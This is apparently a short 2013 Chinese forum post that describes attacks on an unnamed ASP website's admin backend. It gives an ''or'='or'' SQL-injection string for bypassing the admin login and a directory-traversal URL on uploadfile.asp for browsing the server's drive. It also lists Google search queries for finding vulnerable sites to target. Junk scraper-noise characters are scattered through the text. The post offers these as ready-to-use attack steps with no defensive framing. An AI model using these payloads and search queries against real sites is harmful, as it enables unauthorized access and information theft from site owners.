后台万能密码 'or'='or'
, j9 b5 |" j8 i2 |. P% T8 C
6 B6 P, v# i7 Z后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
8 D+ V& a9 p/ e0 G4 k9 ]- h- Xadmin/uploadfile.asp?currentFolder=/upfiles/../- [, u; b! s+ w
: ~& M0 C# _- R3 P- _7 n+ _漏洞证明：0 R0 M9 M( l; _
! \% ~3 ^) s' C( m
谷歌：inurl:type.asp?id=1 新闻中心
; x. _& r. A5 a, v0 t/ ]* D, p. c2 v或者 ：inurl:download_ok.asp?' _* G+ m w9 f/ l# O7 E5 W
( y( a" s7 N' d# e! L
|
发表于 2013-3-14 20:17:32
收藏
支持
反对